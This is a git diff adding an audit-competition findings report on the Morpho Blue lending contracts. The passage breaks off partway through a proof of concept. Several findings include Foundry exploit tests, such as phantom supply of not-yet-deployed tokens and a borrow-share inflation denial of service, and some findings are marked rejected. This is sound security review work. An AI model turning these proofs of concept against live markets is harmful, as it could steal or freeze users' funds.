diff --git a/audits/2023-11-13-cantina-managed-review-draft.pdf b/audits/2023-11-13-morpho-blue-cantina-managed-review-draft.pdf
similarity index 100%
rename from audits/2023-11-13-cantina-managed-review-draft.pdf
rename to audits/2023-11-13-morpho-blue-cantina-managed-review-draft.pdf
diff --git a/audits/2024-01-05-morpho-blue-cantina-competition.md b/audits/2024-01-05-morpho-blue-cantina-competition.md
new file mode 100644
index 000000000..181c39b11
--- /dev/null
+++ b/audits/2024-01-05-morpho-blue-cantina-competition.md
@@ -0,0 +1,35522 @@
+## High risk
+### insufficient non existent token check can be weaponised
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- In [SafeTransferLib.sol](https://github.com/morpho-org/morpho-blue/blob/main/src/libraries/SafeTransferLib.sol) it doesn't check if token address provided has code or not. This means calling [SafeTransferFrom](https://github.com/morpho-org/morpho-blue/blob/main/src/libraries/SafeTransferLib.sol#L29) with token address that does not have any code does not revert.
+- There are multiple ways of knowing the address where a token will be deployed before it is actually deployed. Easiest way is to frontrun the token deployment transaction. Some Tokens use CREATE2 to deploy the token which make it possible as well.
+- An attacker frontrun a token deployment transaction with following
+ - [CreateMarket](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L150) with a legitimate oracle, IRM and collateralToken. Creating a legitimate oracle is not harder before token deployment as the oracle providers usually take token addresses as an input and it is ok if it doesn't return the correct price before the loanToken is added in that oracle provider.
+ - [Supply](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L166) infinite tokens which will succeed and update the internal balance of the attacker because of insufficient non existent token check.
+- Now, token gets actually deployed and victims deposit actual loanTokens. Attacker can withdraw these tokens as according to internal accounting they have supplied infinite tokens.
+- An attacker can do the same for collateralToken if they want to as [supplyCollateral](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L300C14-L300C30) susceptible to the same attack.
+
+
+
+### User's funds can be stolen from market _(duplicate of [insufficient non existent token check can be weaponised])_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+Morpho market [can be created by anyone](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150), which means that user can provide any tokens as `loan` and `collateral` token. Those tokens are not checked anyhow, so you can provide anything.
+
+So suppose that i create a market were collateral token is some address that actually eoa currently and no code is deployed to it. Then i can call `supplyCollateral` and provide amount that i want to supply. This will increase my [collateral balance for that market](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L310). After that `safeTransferFrom` is called to transfer tokens. This function is implemented in the `SafeTransferLib` library.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L29-L34
+```solidity
+ function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
+ (bool success, bytes memory returndata) =
+ address(token).call(abi.encodeCall(IERC20Internal.transferFrom, (from, to, value)));
+ require(success, ErrorsLib.TRANSFER_FROM_REVERTED);
+ require(returndata.length == 0 || abi.decode(returndata, (bool)), ErrorsLib.TRANSFER_FROM_RETURNED_FALSE);
+ }
+```
+
+As you can see, in case if contract doesn't exist, then `success` will be true and `returndata.length` will be 0, which means that the call will not revert.
+
+So at this point attacker have ability to increase his collateral balance for specific address.
+
+When some protocol develops a new token, then it's really likely that they will then create pools on some popular dex protocols in order to create token markets with different popular assets.
+For example they can create a pool on uniswap v2. In case if you know addresses of pair tokens, [then you can calculate pool address](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Factory.sol#L29-L32) for such pair. Then it's really likely that someone will use that pool in order to create `Morpho` market in the future. Once the market is created and someone has already provided uniswap pool tokens to the market, then attacker can withdraw them.
+
+So attacker can have next strategy:
+- detect when new protocols deploy their tokens
+- once you know token address, then calculate pool token addresses for that token with other popular assets on different dex platforms
+- create markets on Morpho for such dex pool tokens and provide big amount of collateral, while pool is not deployed yet
+- wait when someone will create real Morpho market with pool address
+- withdraw collateral
+
+- Impact
+User's funds can be stolen
+- Recommended Mitigation Steps
+Make `safeTransferFrom` function check that `token` is contract.
+
+
+
+### Lack of check on contract existence in safeTransferFrom _(duplicate of [insufficient non existent token check can be weaponised])_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Morpho uses a `SafeTransferLib` implementation like solady's or solmate's. These have the pitfall of [requiring additional checks on contract existence](https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L10).
+
+This issue was highlighted in the OpenZeppelin audit as informational and addressed by the team with an extra comment on the code.
+
+The action taken is however insufficient to solve the issue because this lacking check, in the case of Morpho, can be exploited with a very destructive impact. Since many popular ERC-20s are deployed at the same address across multiple chains (and why not, testnets), a malicious actor can create honeypot markets as follows:
+- knowing the EVM address at which an ERC-20 token will be deployed in the future
+- create a new market using that token as either loan or collateral
+- build an arbitrarily significant credit on that market by calling `supply` or `supplyCollateral`; because of the missing check, these calls will succeed without effectively moving any tokens
+- once the tokens are deployed, some other users may deposit legitimate tokens on the honeypot market
+- the malicious actor can then withdraw their fictitious credit and make the protocol insolvent to the legitimate users
+
+A very simple PoC in Foundry:
+
+```Solidity
+pragma solidity >=0.8.0;
+
+import "forge-std/Test.sol";
+import "src/Morpho.sol";
+
+contract Poc1 is Test {
+
+ function testSupplyNonExistentToken() public {
+ Morpho m = new Morpho(address(this));
+
+ // just for convenience
+ m.enableIrm(address(0));
+ m.enableLltv(0);
+
+ // collateral is address(0), loanToken is address(0)
+ MarketParams memory mp;
+
+ // a market with non-existent tokens can be created
+ m.createMarket(mp);
+
+ // non-existing loan tokens can be supplied
+ m.supply(mp, 100e18, 0, address(this), "");
+
+ // non-existing collateral tokens can be supplied
+ m.supplyCollateral(mp, 100e18, address(this), "");
+ }
+}
+
+
+```
+
+**Recommendation**:
+Consider adding a check for the existence of `loanToken` and `collateralToken` at market creation
+
+
+
+### Lack of support for fee-on-transfer tokens can make the Morpho contract insolvent _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The Morpho contract relies heavily on virtual balances of addresses stored locally. Addresses who supplied loan or collateral tokens are entitled to redeem these tokens in their entirety. This can create a problem with fee-on-transfer tokens where transferring an amount `A` of tokens reduces the sender's balance by `A + F` where `F` is a non-zero fee.
+
+The permissionless nature of the protocol, as well as a lack of token whitelisting, exposes users to potentially insolvent markets.
+
+**Recommendation**:
+Consider adding support to fee-on-transfer tokens (by actually checking differences in balance) or allowing only the creation of markets involving whitelisted tokens.
+
+
+
+### Unexpected reverts in MathLib.mulDivUp and MathLib.mulDivDown may revert liquidations
+
+**Severity:** High risk
+
+**Context:** [MathLib.sol#L27-L29](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L27-L29)
+
+- Description
+This function is used in several critical areas, most noteably in Liquidations, which if given certain inputs of collateral token price and amount of collateral could revert during critical moments of account liquidations potentially preventing liquidators from liquidating or forcing them to liquidate in small batches.
+
+This function unexpectedly reverts during normal expected inputs. Please see the following fuzz test:
+
+```
+
+ function testMulDivUp(uint256 _x, uint256 _y) public returns(uint256) {
+ _x = bound(_x, 0, type(uint128).max);
+ _y = bound(_y, 0, type(uint128).max);
+ return (_x * _y + (1 - 1)) / 1;
+
+ } // d was left as 1 to reduce complexity and focus on key failing components of the math operation
+```
+
+For example this will fail with the following inputs:
+
+1. x = type(uint128).max +1 or
+2. y = type(uint128).max + 1
+
+Liquidations use this MathLib function on Line `370-371` and `374-375`, an example of the usage can be seen below:
+
+```
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+```
+
+
+- Recommendation
+
+Ensure inputs into this function don't revert with arithmetic overflows with normal inputs. This could be done by limiting the bounds of inputs to not include Uint256 (instead opting for uint128).
+
+
+
+### Interest Accrual can revert due to unexpected bound changes to market borrow rate.
+
+**Severity:** High risk
+
+**Context:** [MathLib.sol#L38-L44](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L38-L44)
+
+- Description
+
+This math function is used elsewhere in the Morpho Contract to calculate interest accruals. Though under normal (expected) values this function will not cause overflow. Under accepted extreme values this function will revert with arithmetic overflow, preventing interest accrual calculations. Normal / expected values are within the following bounds:
+(x): rate = bound(rate, 0, WAD / 20_000_000);
+(n): timeElapsed = bound(timeElapsed, 0, 365 days);
+
+However, as can be seen from the function below:
+
+```
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]); // @audit - This function can return a valid uint256 value
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed)); // @audit - Values close to Uint128 will cause the taylor compounded to revert providing a single point of failure for all interest accrual calculations
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+```
+
+To support this case please see the following forge fuzz test:
+
+ function testWTaylorCompoundedMax(uint256 _x, uint256 _n) public {
+ _x = bound(_x, 0,type(uint128).max);
+ _n = bound(_n, 0, 365 days);
+
+ uint256 result = _x.wTaylorCompounded(_n);
+ }
+
+- Recommendation
+
+Ensure returned values from external sources are safe typecast to expected bounds and don't revert during critical program execution
+
+
+
+### Unsafe typecasting could trigger reverts during critical liquidation function calls
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L380-L382](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L380-L382)
+
+- Description
+
+The function `liquidate()` ensures that accounts that are not maintaining adequate LTV ratios based on a specific collateral price can be liquidated. The goal is to minimise the impact of bad debt by incentivising users to liquidate position holders of bad debt. Liquidation can revert under the condition that `repaidShares() > type(uint128).max`, as repaid shares is calculated from a series of math operations the fundamental constrains limiting the system liquidation functions can be seen in the following reverting fuzz test of the liquidation amount;
+
+```
+
+ function testMulDivThenTypeConversion(uint256 _seizedAssets, uint256 _collateralPrice, uint256 _liquidationIncentiveFactor, uint256 totalBorrowAssets, uint256 totalBorrowShares) public returns(uint256) {
+ _seizedAssets = bound(_seizedAssets, 1, type(uint128).max / 1e13);
+ _collateralPrice = bound(_collateralPrice, 1, type(uint128).max / 1e13);
+ totalBorrowAssets = bound(totalBorrowAssets, 1, type(uint8).max);
+ totalBorrowShares = bound(totalBorrowShares, 1, type(uint8).max);
+
+ _liquidationIncentiveFactor = bound(_liquidationIncentiveFactor, 1, MAX_LIQUIDATION_INCENTIVE_FACTOR);
+
+ uint256 repaidAssets = _seizedAssets.mulDivUp(_collateralPrice, ORACLE_PRICE_SCALE).wDivUp(_liquidationIncentiveFactor);
+ uint256 repaidShares = repaidAssets.toSharesDown(totalBorrowAssets, totalBorrowShares);
+
+ uint128 result = repaidShares.toUint128();
+ }
+
+```
+
+As we can see here if either `seizedAssets` and `collateralPrice` exceeds `type(uint128).max/1e13` we will receive the following error: `Reason: max uint128 exceeded`
+
+Various other combinations of these quantities may also trigger reverts due to unsafe type casting
+
+- Recommendation
+Ensure that borrowShares and borrowAssets is a larger size integer than preceeding calculations and that max calculations can't exceed the necessary type conversions or use a safe typecast method.
+
+
+
+### Borrowing for first time bypasses collateral checks due to inaccurate health check logic
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L255-L255](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L255-L255)
+
+- Description
+
+During borrowing a user must have their collateral values checked. Unfortunately due to a shortcut within the `_isHealthy(marketParams, id, onBehalf)` usage if a user has `position[id][borrower].borrowShares == 0` the _isHealthy will automatically return true. This means a user with no collateral will skip collateral check provided they have not borrowed against the market before.
+
+
+- Recommendation
+
+The `borrow()` function should make an additional check before calling _isHealthy to fetch the collateral price, then use the `_isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)` call directly instead. This will validate that users have not exceeded `maxBorrow >= borrowed`
+
+
+
+### Insufficient checks during `supplyCollateral` can leave user funds locked permanently
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L300-L317](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L300-L317)
+
+- Description
+A market creator must specify an IOracle when creating the market. This Oracle isn't checked anywhere during creation and due to insufficient logic in the supply, borrow and collateral supply and withdrawal processes a borrower may end up in a state where collateral is deposited, but not withdrawable. Oracle price feeds are notoriously easy to make mistakes with, as a result funds may become permanently lost.
+
+Consider the following attack;
+
+1. User creates a market using `createMarket()` accidentally specifying the wrong oracle address
+2. A supplier funds the market `supply()`. Please note no oracle health checks are made during this function call
+3. A borrower supplies collateral using `supplyCollateral()`. Again no oracle health checks are made during this function call
+4. The borrower then calls `borrow()` which will check the interest accrued based on the IRM. There is a health check that normally would check the oracle, however this returns true if the user has `borrowShares==0` which would be true for the first borrow.
+5. At any point from now if the borrower calls `withdrawCollateral()` the funds are permanently locked due to a call to `isHealthy()` which subsequently calls `IOracle(marketParams.oracle).price();` which will revert if setup f the market is invalid.
+- Recommendation
+For safety of user deposits, possible external calls during withdrawal should be validated either during the time of the users deposits, or at the time of the market creation.
+
+
+
+### _accrueInterest() fails to check that ``feeRecipient`` has alaready been set. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+morpho._accrueInterest() fails to check that ``feeRecipient`` has been set, as a result, fee might get lost forever to the zero address. Note that _accrueInterest() is called by different functions in morpho.
+
+morpho._accrueInterest() calculate the interests and then increase both totalBorrowAssets and totalSupplyAssets. Meanwhile, part of the interests is charged as shares to the fee receiver.
+
+However, it fails to check that ``feeRecipient != address(0)``. Note none of the other functions check this either. As a result, this part of the asset is lost to the zero address.
+
+
+**Recommendation**:
+
+Add a check in the function like check fee > 0:
+
+```diff
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128(); // borrowers need to repay more
+ market[id].totalSupplyAssets += interest.toUint128(); // depositors can withdraw more
+
+ uint256 feeShares;
+- if (market[id].fee != 0) {
++ if (market[id].fee != 0 && feeRecipient != address(0)) {
+
+ uint256 feeAmount = interest.wMulDown(market[id].fee); // part of the interests go to fee
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ // the rest of the shares: market[id].totalSupplyShares, the rest of the assets: (market[id].totalSupplyAssets - feeAmount
+
+ position[id][feeRecipient].supplyShares += feeShares;
+ // so the fee receiver can withdraw feeAmount
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+```
+
+
+
+### _isHealthy calculates maxBorrow in terms of the ``value`` instead of ``amount`` of loanToken _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+_isHealthy calculates maxBorrow in terms of the ``value`` instead of ``amount`` of loanToken. This is a big deal since the comparison between maxBorrow >= borrowed is between``value`` and ``amount`` and thus meaningless. As a result, the function _isHealthy might return the wrong value, leading to either illegal liquidation or bad-debt accounts.
+
+
+Let look at how ``maxBorrow`` is calculated below. It first calculates the value of the collateral and then multiply it by lltv percentage.
+
+```javascript
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+```
+
+Therefore, any function involving ``_isHealthy·· is flawed.
+
+**Recommendation**:
+We need to obtain the oracle price for the loanToken so that we can convert "value`` into ``amount`` that can be borrowed.
+
+
+
+### Morpho.liquidate() calculates ``repaidAssets`` in terms of its value, but uses it as the amount. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Morpho.liquidate() calculates ``repaidAssets`` in terms of its value, but uses it as the amount.
+
+The problem is the following line:
+
+```javascript
+repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+
+```
+which essentially calculates the value of ``repaidAssets`` as the equivalent value of the ``seizedAssets`` scaled by ``1/liquidationIncentiveFactor``.
+
+However, while the value of ``repaidAssets`` has been calculated, the function fails to use the price of ``loanToken`` to calculates its amount. Instead the value is directly used as the amount. As a result, the wrong amount of ``loanToken``` will be paid - depending on the relatinoship between value and amount, the liquidator either needs to pay more or less ``loanToken``. Either way, the other side is at disadvantage.
+
+
+**Recommendation**:
+Use Oracle to find out the price of ``loanToken`` and then convert the value of ``repaidAssets`` to its amount from value.
+
+
+
+### DOS attack to the borrow() function, nobody can borrow anything. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+DOS attack to the borrow() function can be conducted because the borrow function allows to borrow 1e6-1 shares with assets = 0.
+
+Therefore, a DOS attack can be launched by the first borrower or early borrowers in the following way (with only a few wei's collateral at most)
+
+1) Borrow 1e6-1 shares, receive zero assets, totolShares = 1e6-1, totalAssets = 0;
+2) Borrow morpho.totalBorrowShares(id) - 1 shares, total shares will increase but totalAssets remain zero.
+3) Repeat 2) around 107 times, the total morpho.totalBorrowShares(id) - 1 shares will reach near type(uint128).max, however, totalAssets = 0. Note that morpho.totalBorrowShares(id) will increase exponentially in the loop.
+4) Borrow type(uint128).max - morpho.totalBorrowShares(id) shares more, then now the total shares is type(uint128).max, but totalAssets = 0.
+5) Borrow more shares if you like, totalAssets = 0.
+6) at this point, note that the maxium shares one can borrow is type(uint128).max, see the following line:
+
+```javascript
+ position[id][onBehalf].borrowShares += shares.toUint128();
+ market[id].totalBorrowShares += shares.toUint128();
+ market[id].totalBorrowAssets += assets.toUint128();
+```
+
+In other words, at this point, even one borrow the maxium number of shares, the borrower will get zero asset due to the high ratio between shares: assets. Effectively, this is an DOS attack since nobody can borrow 1 wei anymore
+
+The following POC confirms my finding which is already explained above, Note that the last borrow reverts: although it attempts to borrow only 1 wei, but that requires the number of shares > type(uint128).max.
+
+```javascript
+
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../../lib/forge-std/src/Test.sol";
+import "../../lib/forge-std/src/console.sol";
+
+import {IMorpho} from "../../src/interfaces/IMorpho.sol";
+import "../../src/interfaces/IMorphoCallbacks.sol";
+import {IrmMock} from "../../src/mocks/IrmMock.sol";
+import {ERC20Mock} from "../../src/mocks/ERC20Mock.sol";
+import {OracleMock} from "../../src/mocks/OracleMock.sol";
+
+import "../../src/Morpho.sol";
+import {Math} from "./helpers/Math.sol";
+import {SigUtils} from "./helpers/SigUtils.sol";
+import {ArrayLib} from "./helpers/ArrayLib.sol";
+import {MorphoLib} from "../../src/libraries/periphery/MorphoLib.sol";
+import {MorphoBalancesLib} from "../../src/libraries/periphery/MorphoBalancesLib.sol";
+import "./BaseTest.sol";
+// import {SafeTransferLib} from ".../../src/libraries/SafeTransferLib.sol";
+
+
+
+contract MyTest is BaseTest {
+ address user1 = makeAddr("user1");
+ address user2 = makeAddr("user2");
+ address user1proxy = makeAddr("user1Proxy");
+ address borrower1 = makeAddr("borrower1");
+
+
+
+ using MarketParamsLib for MarketParams;
+ using MorphoLib for IMorpho;
+ using SafeTransferLib for IERC20;
+
+
+ function setUp() public override {
+ super.setUp();
+
+ marketParams = MarketParams(address(loanToken), address(collateralToken), address(oracle), address(irm), DEFAULT_TEST_LLTV);
+ id = marketParams.id();
+
+
+
+ }
+
+ function testMyBorrow2() public{
+ testCreateMarket();
+
+ loanToken.setBalance(user1, 10 ether);
+ vm.startPrank(user1);
+ loanToken.approve(address(morpho), 1 ether);
+ bytes memory d;
+ morpho.supply(marketParams, 0, 1 ether, user1, d); // save it to user1
+ morpho.setAuthorization(user1proxy, true);
+ vm.stopPrank();
+
+ // borrower 1
+ collateralToken.setBalance(borrower1, 10 ether);
+ vm.startPrank(borrower1);
+ collateralToken.approve(address(morpho), 2 ether);
+ morpho.supplyCollateral(marketParams, 2 ether, borrower1, d);
+ uint256 shares = 1e6 - 1 ; // VIRTUAL_SHARES - 1 to ensure assets = 0;
+
+ morpho.borrow(marketParams, 0, shares, borrower1, borrower1);
+
+ for(uint256 i; i < 108; i++){
+ shares = morpho.totalBorrowShares(id) - 1 ; // so that the assets is still zero
+ // console2.log("i = ", i);
+ morpho.borrow(marketParams, 0, shares, borrower1, borrower1);
+ }
+
+ shares = type(uint128).max - morpho.totalBorrowShares(id);
+ morpho.borrow(marketParams, 0, shares, borrower1, borrower1);
+ vm.stopPrank();
+
+ assertEq(morpho.totalBorrowShares(id), type(uint128).max);
+
+ // now to borrow one wei, we need e16+type(uint128).max shares which is impossible since the maximum
+ // number of shares one can borrow is type(uint128).max
+ vm.expectRevert();
+ morpho.borrow(marketParams, 1, 0, borrower1, borrower1);
+
+
+ console2.log("\n total borroww shares: %d", morpho.totalBorrowShares(id)); // how many shares?
+ console2.log(" borrower 1 borrow shares: %d", morpho.borrowShares(id, borrower1)); // how many shares?
+ console2.log("borrower 1 loan token balance: %d", loanToken.balanceOf(borrower1));
+ console2.log("type(uint128).max:", type(uint128).max);
+ }
+
+ function testCreateMarket() public{
+ vm.startPrank(OWNER);
+ if (!morpho.isLltvEnabled(DEFAULT_TEST_LLTV)) morpho.enableLltv(DEFAULT_TEST_LLTV);
+ if (morpho.lastUpdate(id) == 0) morpho.createMarket(marketParams);
+ vm.stopPrank();
+
+ _forward(1);
+
+ console2.logBytes32(Id.unwrap(id));
+
+ }
+ }
+```
+
+
+**Recommendation**:
+Revert the borrow() transaction when assets = 0.
+
+```diff
+ function borrow(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
++ require(assets !=0, "Cannot borrow zero assets");
+
+ position[id][onBehalf].borrowShares += shares.toUint128();
+ market[id].totalBorrowShares += shares.toUint128();
+ market[id].totalBorrowAssets += assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Borrow(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+
+
+
+### No Incentive to Liquidate Small Positions _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The liquidation incentive is proportional to the amount of assets that can be seized. It comes in the form of value of the assets repaid by the liquidator being less than the value of the assets seized:
+
+```solidity
+repaidAssets = seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+```
+
+
+
+There is no mimumum initial position size nor a lower bound or flat keeper reward which is rewarded to the liquidator. That means that for small positions, the liquidation reward is lower than the gas cost of calling `liquidiate`.
+
+A malicious user could open many small positions where the liquidation reward will be lower than the gas fees in order to grief the market and create bad debt if the price moves against the loaned position.
+
+There is a potential profit motive for such an action:
+
+Holding a "bad debt" position which is not yet liquidated has a positive expected value. If the price moves such that the bad debt becomes worse, the holder does not have to repay their position. However, if the price moves in the position's favor, then the position could become solvent again and could potentially even become worth more than the value of the position when opened.
+
+**Recommendation**:
+
+1. Create a minimum position size which is customisable,
+2. Or, implement a minimum bound to the liquidation incentive which kicks in when the difference in value between repaid assets and seized assets is too low.
+
+
+
+### Borrowers are vulnerable to liquidation by a malicious IRM _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L476-L476](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L476-L476)
+
+**Description**:
+
+Borrower's are vulnerable to unexpectedly paying exorbitant interest, or in the worst case, immediately being liquidatable in a single transaction, with no forewarning or a chance to withdraw their position.
+
+A malicious IRM can significantly increase the `borrowRate` of their market (say from 0% to 10000%) and in the process, significantly increase the amount of interest owed by borrowers for that market. For borrowers who borrow near the LTV ratio, this poses risk of liquidation as a significant increase in interest owed can put them under water.
+
+In the worst case, a malicious IRM can, in the same transaction:
+
+1. increase the `borrowRate` on their IRM by a factor of 1000
+2. liquidate borrowers whose positions are now unhealthy
+
+This is possible because in the `_accrueInterest` function the `borrowRate` is read at the very beginning of the function, and then accrued interest is calculated using this new value.
+
+**Recommendation**:
+A simple solution to this is to cache the previous `borrowRate` and use that for calculating the accrued interest. After interest has been calculated, then read the current market borrow rate and cache that value. By doing this, borrowers have the ability to react to the IRM's rate increase, as its impact won't be made until the next block.
+
+This also offers the benefit of minimizing the impact of the rate increase as the earliest its impact will be realized will be the next block which poses a small elapsed time for which to calculate interest owed. In the current implementation, if dozens or hundreds of blocks have elapsed since `accrueInterest` has been called, the impact of this rate increase will be much more substantial.
+
+
+
+### Discrepancy between loan token and collateral token decimals breaks the protocol
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L370-L370](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L370-L370), [Morpho.sol#L374-L374](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L374-L374), [Morpho.sol#L521-L521](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L521-L521), [Morpho.sol#L522-L522](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L522-L522)
+
+- Description
+ The **_isHealthy** function uses user's collateral value in terms of loan token to compute the *maxBorrow* of loan tokens that can be borrowed from a given market. The calculation does not account for a difference between the number of decimals of the loan and collateral tokens.
+
+It multiplies the collateral amount by the price ratio and multiplies it by the LLTV to obtain the loan tokens amount that can be borrowed. This works if the two tokens have the same decimals, let's say 18.
+
+- Example with the same decimals:
+For simplicity's sake assume that:
+ - Loan token / collateral token = 1 (they are equal in value)
+ - LLTV is 1e18 (100% of the collateral's value can be borrowed)
+ - A user has a supply of 1000e18 collateral tokens (should be able to borrow up to 1000e18 loan tokens).
+
+The formula is:
+```solidity
+uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE).wMulDown(marketParams.lltv)
+```
+Let's substitute the variables with their values:
+
+```solidity
+uint256 maxBorrow = 1000e18 * 1e36 / 1e36 * 1e18 / 1e18 = 1000e18
+```
+
+- Example with different decimals:
+For simplicity's sake assume that:
+ - Loan token / collateral token = 1 (they are equal in value)
+ - LLTV is 1e18 (100% of the collateral's value can be borrowed)
+ - Loan token has 6 decimals, collateral token has 18 decimals.
+ - A user has a supply of 1000e18 collateral tokens (should be able to borrow up to 1000e6 loan tokens).
+
+Apply the same formula from before:
+```solidity
+uint256 maxBorrow = 1000e18 * 1e36 / 1e36 * 1e18 / 1e18 = 1000e18
+```
+
+The result of the **maxBorrow** calculation is 1000e18, not 1000e6. This is a massive difference of 1e12 tokens.
+
+- Summary:
+If *decimalDifference* is the absolute value of the difference between the decimals precision of the two tokens
+ - when *decimalDifference* is 0, the calculation works as intended
+ - when the loan token is represented with less decimals than the collateral token, borrowers are able to borrow up to *1 * 10^decimalDifference* more tokens than they should be
+ - when the loan token is represented with more decimals than the collateral token, borrowers are able to borrow up to *1 * 10^decimalDifference* less tokens than they should be
+
+**Note:** the same problem is present in the liquidate function.
+
+- Proof of concept
+Below is a Foundry PoC that can be run inside the BaseTest.sol test file on a fork of the goerli testnet. It uses USDC (6-decimals tokens) as a loan token and WETH (18-decimals token) as a collateral token to demonstrate the behavior explained above.
+
+```solidity
+ function testERC20() public {
+ uint256 loanAmount = 1000e6;
+ morpho = IMorpho(0x64c7044050Ba0431252df24fEd4d9635a275CB41);
+ address collateralWeth = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6;
+ address loanUSDC = 0x62bD2A599664D421132d7C54AB4DbE3233f4f0Ae;
+
+ // lltv is set to 90%
+ marketParams = MarketParams(
+ loanUSDC,
+ collateralWeth,
+ address(oracle),
+ 0x9ee101eB4941d8D7A665fe71449360CEF3C8Bb87,
+ 900000000000000000
+ );
+ id = marketParams.id();
+ Market memory marketData = morpho.market(id);
+
+ // Create a market with 18-decimals collateral token and 6-decimals loan token
+ morpho.createMarket(marketParams);
+
+ deal(loanUSDC, SUPPLIER, loanAmount);
+ deal(collateralWeth, BORROWER, 200e18);
+ uint256 loanBalanceBeforeExploit = ERC20Mock(loanUSDC).balanceOf(BORROWER);
+
+ vm.startPrank(SUPPLIER);
+ ERC20Mock(loanUSDC).approve(address(morpho), loanAmount);
+ morpho.supply(marketParams, loanAmount, 0, SUPPLIER, "");
